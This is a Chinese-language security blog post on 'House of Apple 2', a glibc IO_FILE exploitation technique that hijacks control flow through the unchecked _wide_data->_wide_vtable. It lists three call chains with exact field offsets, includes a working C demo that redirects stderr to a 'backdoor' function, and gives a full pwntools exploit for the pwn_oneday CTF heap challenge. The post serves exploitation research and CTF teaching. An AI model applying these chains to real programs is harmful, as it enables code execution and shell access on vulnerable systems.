House of Apple 一种新的glibc中IO攻击方法 (2)

2022-10-18 约 5600 字预计阅读 11 分钟 - 次阅读

本文首发于看雪论坛，仅在个人博客记录

分享一系列新的glibc中IO利用思路，暂且命名为house of apple。这篇是house of apple2。本站的house of apple系列文章的地址为：

前言

之前提出了一种新的IO利用方法house of apple1。本篇是house of apple1的续集，继续给出基于IO_FILE->_wide_data的利用技巧。

在 house of apple1的总结里面提到: house of apple1 的利用链可以在任意地址写堆地址，相当于一次largebin attack的效果。因此，house of apple1 需要和其他方法结合而进行后续的FSOP利用。

那么在只劫持_wide_data的条件下能不能控制程序的执行流呢？答案是肯定的。

本篇的house of apple2会提出几条新的IO利用链，在劫持_IO_FILE->_wide_data的基础上，直接控制程序执行流。

关于前置知识这里就不赘述了，详情可看 house of apple1。

利用条件

使用house of apple2的条件为：

已知heap地址和glibc地址
能控制程序执行IO操作，包括但不限于：从main函数返回、调用exit函数、通过__malloc_assert触发
能控制_IO_FILE的vtable和_wide_data，一般使用largebin attack去控制

利用原理

stdin/stdout/stderr这三个_IO_FILE结构体使用的是_IO_file_jumps这个vtable，而当需要调用到vtable里面的函数指针时，会使用宏去调用。以_IO_file_overflow调用为例，glibc中调用的代码片段分析如下

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#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

其中，IO_validate_vtable函数负责检查vtable的合法性，会判断vtable的地址是不是在一个合法的区间。如果vtable的地址不合法，程序将会异常终止。

观察struct _IO_wide_data结构体，发现其对应有一个_wide_vtable成员。

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struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;    /* Current read pointer */
  wchar_t *_IO_read_end;    /* End of get area. */
  wchar_t *_IO_read_base;    /* Start of putback+get area. */
  wchar_t *_IO_write_base;    /* Start of put area. */
  wchar_t *_IO_write_ptr;    /* Current put pointer. */
  wchar_t *_IO_write_end;    /* End of put area. */
  wchar_t *_IO_buf_base;    /* Start of reserve area. */
  wchar_t *_IO_buf_end;        /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;    /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;    /* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */
 
  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;
  wchar_t _shortbuf[1];
  const struct _IO_jump_t *_wide_vtable;
};

在调用_wide_vtable虚表里面的函数时，同样是使用宏去调用，仍然以vtable->_overflow调用为例，所用到的宏依次为：

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#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)

#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

可以看到，在调用_wide_vtable里面的成员函数指针时，没有关于vtable的合法性检查。

因此，我们可以劫持IO_FILE的vtable为_IO_wfile_jumps，控制_wide_data为可控的堆地址空间，进而控制_wide_data->_wide_vtable为可控的堆地址空间。控制程序执行IO流函数调用，最终调用到_IO_Wxxxxx函数即可控制程序的执行流。

以下面提到的_IO_wdefault_xsgetn函数利用为例，编写demo示例如下：

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#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

void backdoor()
{
    printf("\033[31m[!] Backdoor is called!\n");
    _exit(0);
}

void main()
{
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setbuf(stderr, 0);

    char *p1 = calloc(0x200, 1);
    char *p2 = calloc(0x200, 1);
    puts("[*] allocate two 0x200 chunks");

    size_t puts_addr = (size_t)&puts;
    printf("[*] puts address: %p\n", (void *)puts_addr);
    size_t libc_base_addr = puts_addr - 0x84420;
    printf("[*] libc base address: %p\n", (void *)libc_base_addr);

    size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
    printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);

    size_t _IO_wstrn_jumps_addr = libc_base_addr + 0x1e8c60;
    printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
 
    char *stderr2 = (char *)_IO_2_1_stderr_addr;
    puts("[+] step 1: change stderr->_flags to 0x800");
    *(size_t *)stderr2 = 0x800;

    puts("[+] step 2: change stderr->_mode to 1");
    *(size_t *)(stderr2 + 0xc0) = 1;
 
    puts("[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20");
    *(size_t *)(stderr2 + 0xd8) = _IO_wstrn_jumps_addr-0x20;
 
    puts("[+] step 4: replace stderr->_wide_data with the allocated chunk p1");
    *(size_t *)(stderr2 + 0xa0) = (size_t)p1;
 
    puts("[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2");
    *(size_t *)(p1 + 0xe0) = (size_t)p2;

    puts("[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr >  stderr->_wide_data->_wide_vtable->_IO_write_base");
    *(size_t *)(p1 + 0x20) = (size_t)1;

    puts("[+] step 7: put backdoor at fake _wide_vtable->_overflow");
    *(size_t *)(p2 + 0x18) = (size_t)(&backdoor);

    puts("[+] step 8: call fflush(stderr) to trigger backdoor func");
    fflush(stderr);

}

编译后输出：

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[*] allocate two 0x200 chunks
[*] puts address: 0x7f8f73d2e420
[*] libc base address: 0x7f8f73caa000
[*] _IO_2_1_stderr_ address: 0x7f8f73e975c0
[*] _IO_wstrn_jumps address: 0x7f8f73e92c60
[+] step 1: change stderr->_flags to 0x800
[+] step 2: change stderr->_mode to 1
[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20
[+] step 4: replace stderr->_wide_data with the allocated chunk p1
[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2
[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr >  stderr->_wide_data->_wide_vtable->_IO_write_base
[+] step 7: put backdoor at fake _wide_vtable->_overflow
[+] step 8: call fflush(stderr) to trigger backdoor func
[!] Backdoor is called!

可以看到，成功调用了后门函数。

利用思路

目前在glibc源码中搜索到的_IO_WXXXXX系列函数的调用只有_IO_WSETBUF、_IO_WUNDERFLOW、_IO_WDOALLOCATE和_IO_WOVERFLOW。其中_IO_WSETBUF和_IO_WUNDERFLOW目前无法利用或利用困难，其余的均可构造合适的_IO_FILE进行利用。这里给出我总结的几条比较好利用的链。以下使用fp指代_IO_FILE结构体变量。

利用_IO_wfile_overflow函数控制程序执行流

对fp的设置如下：

_flags设置为~(2 | 0x8 | 0x800)，如果不需要控制rdi，设置为0即可；如果需要获得shell，可设置为 sh;，注意前面有两个空格
vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址（加减偏移），使其能成功调用_IO_wfile_overflow即可
_wide_data设置为可控堆地址A，即满足*(fp + 0xa0) = A
_wide_data->_IO_write_base设置为0，即满足*(A + 0x18) = 0
_wide_data->_IO_buf_base设置为0，即满足*(A + 0x30) = 0
_wide_data->_wide_vtable设置为可控堆地址B，即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP，即满足*(B + 0x68) = C

函数的调用链如下：

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_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)

详细分析如下：首先看_IO_wfile_overflow函数

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wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
	{
	  _IO_wdoallocbuf (f);// 需要走到这里
      // ......
    }
    }
}

需要满足f->_flags & _IO_NO_WRITES == 0并且f->_flags & _IO_CURRENTLY_PUTTING == 0和f->_wide_data->_IO_write_base == 0

然后看_IO_wdoallocbuf函数：

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void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
		     fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

需要满足fp->_wide_data->_IO_buf_base != 0和fp->_flags & _IO_UNBUFFERED == 0。

利用_IO_wfile_underflow_mmap函数控制程序执行流

对fp的设置如下：

_flags设置为~4，如果不需要控制rdi，设置为0即可；如果需要获得shell，可设置为 sh;，注意前面有个空格
vtable设置为_IO_wfile_jumps_mmap地址（加减偏移），使其能成功调用_IO_wfile_underflow_mmap即可
_IO_read_ptr < _IO_read_end，即满足*(fp + 8) < *(fp + 0x10)
_wide_data设置为可控堆地址A，即满足*(fp + 0xa0) = A
_wide_data->_IO_read_ptr >= _wide_data->_IO_read_end，即满足*A >= *(A + 8)
_wide_data->_IO_buf_base设置为0，即满足*(A + 0x30) = 0
_wide_data->_IO_save_base设置为0或者合法的可被free的地址，即满足*(A + 0x40) = 0
_wide_data->_wide_vtable设置为可控堆地址B，即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP，即满足*(B + 0x68) = C

函数的调用链如下：

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_IO_wfile_underflow_mmap
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)

详细分析如下：看_IO_wfile_underflow_mmap函数：

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static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{
  struct _IO_codecvt *cd;
  const char *read_stop;

  if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
    return *fp->_wide_data->_IO_read_ptr;

  cd = fp->_codecvt;

  /* Maybe there is something left in the external buffer.  */
  if (fp->_IO_read_ptr >= fp->_IO_read_end
      /* No.  But maybe the read buffer is not fully set up.  */
      && _IO_file_underflow_mmap (fp) == EOF)
    /* Nothing available.  _IO_file_underflow_mmap has set the EOF or error
       flags as appropriate.  */
    return WEOF;

  /* There is more in the external.  Convert it.  */
  read_stop = (const char *) fp->_IO_read_ptr;

  if (fp->_wide_data->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_wide_data->_IO_save_base != NULL)
	{
	  free (fp->_wide_data->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_wdoallocbuf (fp);// 需要走到这里
    }
    //......
}

需要设置fp->_flags & _IO_NO_READS == 0，设置fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end，设置fp->_IO_read_ptr < fp->_IO_read_end不进入调用，设置fp->_wide_data->_IO_buf_base == NULL和fp->_wide_data->_IO_save_base == NULL。

利用_IO_wdefault_xsgetn函数控制程序执行流

这条链执行的条件是调用到_IO_wdefault_xsgetn时rdx寄存器，也就是第三个参数不为0。如果不满足这个条件，可选用其他链。

对fp的设置如下：

_flags设置为0x800
vtable设置为_IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps地址（加减偏移），使其能成功调用_IO_wdefault_xsgetn即可
_mode设置为大于0，即满足*(fp + 0xc0) > 0
_wide_data设置为可控堆地址A，即满足*(fp + 0xa0) = A
_wide_data->_IO_read_end == _wide_data->_IO_read_ptr设置为0，即满足*(A + 8) = *A
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base，即满足*(A + 0x20) > *(A + 0x18)
_wide_data->_wide_vtable设置为可控堆地址B，即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->overflow设置为地址C用于劫持RIP，即满足*(B + 0x18) = C

函数的调用链如下：

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_IO_wdefault_xsgetn
    __wunderflow
        _IO_switch_to_wget_mode
            _IO_WOVERFLOW
                *(fp->_wide_data->_wide_vtable + 0x18)(fp)

详细分析如下：首先看_IO_wdefault_xsgetn函数：

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size_t
_IO_wdefault_xsgetn (FILE *fp, void *data, size_t n)
{
  size_t more = n;
  wchar_t *s = (wchar_t*) data;
  for (;;)
    {
      /* Data available. */
      ssize_t count = (fp->_wide_data->_IO_read_end
                       - fp->_wide_data->_IO_read_ptr);
      if (count > 0)
	{
	  if ((size_t) count > more)
	    count = more;
	  if (count > 20)
	    {
	      s = __wmempcpy (s, fp->_wide_data->_IO_read_ptr, count);
	      fp->_wide_data->_IO_read_ptr += count;
	    }
	  else if (count <= 0)
	    count = 0;
	  else
	    {
	      wchar_t *p = fp->_wide_data->_IO_read_ptr;
	      int i = (int) count;
	      while (--i >= 0)
		*s++ = *p++;
	      fp->_wide_data->_IO_read_ptr = p;
            }
            more -= count;
        }
      if (more == 0 || __wunderflow (fp) == WEOF)
	break;
    }
  return n - more;
}
libc_hidden_def (_IO_wdefault_xsgetn)

由于more是第三个参数，所以不能为0。直接设置fp->_wide_data->_IO_read_ptr == fp->_wide_data->_IO_read_end，使得count为0，不进入if分支。随后当more != 0时会进入__wunderflow。

接着看__wunderflow：

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wint_t
__wunderflow (FILE *fp)
{
  if (fp->_mode < 0 || (fp->_mode == 0 && _IO_fwide (fp, 1) != 1))
    return WEOF;

  if (fp->_mode == 0)
    _IO_fwide (fp, 1);
  if (_IO_in_put_mode (fp))
    if (_IO_switch_to_wget_mode (fp) == EOF)
      return WEOF;
    // ......
}

要想调用到_IO_switch_to_wget_mode，需要设置fp->mode > 0，并且fp->_flags & _IO_CURRENTLY_PUTTING != 0。

然后在_IO_switch_to_wget_mode函数中：

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int
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF) // 需要走到这里
      return EOF;
    // .....
}

当满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base时就会调用_IO_WOVERFLOW(fp)。

例题分析

仍然以house of apple1 中的pwn_oneday为例。

程序的详细分析就不在此赘述。为了方便展示利用效果，后面的rop部分就不做了，我们利用本篇文章提出的方法输出 hack!字符串。

在largebin attack攻击_IO_list_all之后，伪造_IO_FILE结构：

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target_addr = libc.sym._IO_list_all
_IO_wfile_jumps = libc.sym._IO_wfile_jumps

_lock = libc_base + 0x1f5720
fake_IO_FILE = heap_base + 0x1810

f1 = IO_FILE_plus_struct()
f1.flags = u64_ex("  hack!")
f1._IO_read_ptr = 0xa81
f1._lock = _lock
f1._wide_data = fake_IO_FILE + 0xe0
f1.vtable = _IO_wfile_jumps

所以最后的exp为：

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#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
 
from pwncli import *
 
cli_script()
 
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
 
small = 1
medium = 2
large = 3
key = 10
 
def add(c):
    sla("enter your command: \n", "1")
    sla("choise: ", str(c))
 
def dele(i):
    sla("enter your command: \n", "2")
    sla("Index: \n", str(i))
 
def read_once(i, data):
    sla("enter your command: \n", "3")
    sla("Index: ", str(i))
    sa("Message: \n", flat(data, length=0x110 * key))
 
def write_once(i):
    sla("enter your command: \n", "4")
    sla("Index: ", str(i))
    ru("Message: \n")
    m = rn(0x10)
    d1 = u64_ex(m[:8])
    d2 = u64_ex(m[8:])
    log_address_ex("d1")
    log_address_ex("d2")
    return d1, d2
 
def bye():
    sla("enter your command: \n", "9")
 
 
sla("enter your key >>\n", str(key))
 
add(medium)
add(medium)
add(small)
 
dele(2)
dele(1)
dele(0)
 
add(small)
add(small)
add(small)
add(small)
 
dele(3)
dele(5)
m1, m2 = write_once(3)
libc_base = set_current_libc_base_and_log(m1, 0x1f2cc0)
heap_base = m2 - 0x17f0
 
dele(4)
dele(6)
 
add(large)
add(small)
add(small)
 
dele(8)
add(large)
 
target_addr = libc.sym._IO_list_all
_IO_wfile_jumps = libc.sym._IO_wfile_jumps

_lock = libc_base + 0x1f5720
fake_IO_FILE = heap_base + 0x1810

f1 = IO_FILE_plus_struct()
f1.flags = u64_ex("  hack!")
f1._IO_read_ptr = 0xa81
f1._lock = _lock
f1._wide_data = fake_IO_FILE + 0xe0
f1.vtable = _IO_wfile_jumps

data = flat({
    0x8: target_addr - 0x20,
    0x10: {
        0: {
            0: bytes(f1),
            0xe0: {# _wide_data->_wide_vtable
                0x18: 0, # f->_wide_data->_IO_write_base
                0x30: 0, # f->_wide_data->_IO_buf_base
                0xe0: fake_IO_FILE+0x200
            },
            0x200: {
                0x68: libc.sym.puts
            }
        },
        0xa80: [0, 0xab1]
    }
})

read_once(5, data)
 
dele(2)
add(large)
 
bye()
 
ia()

调试如下：通过exit执行到_IO_wdoallocbuf：

成功输出 hack!：

总结

house of apple主要关注对_IO_FILE->_wide_data成员的攻击，并可以在劫持该成员之后改写地址内容或者控制程序执行流。

可以看到，对_wide_data->_wide_vtable虚表的成员函数指针调用时并不存在vtable的检查，因此，可以利用该漏洞进行FSOP。

在实际利用的时候，可以观察寄存器的值，以便选择合适的gadget。

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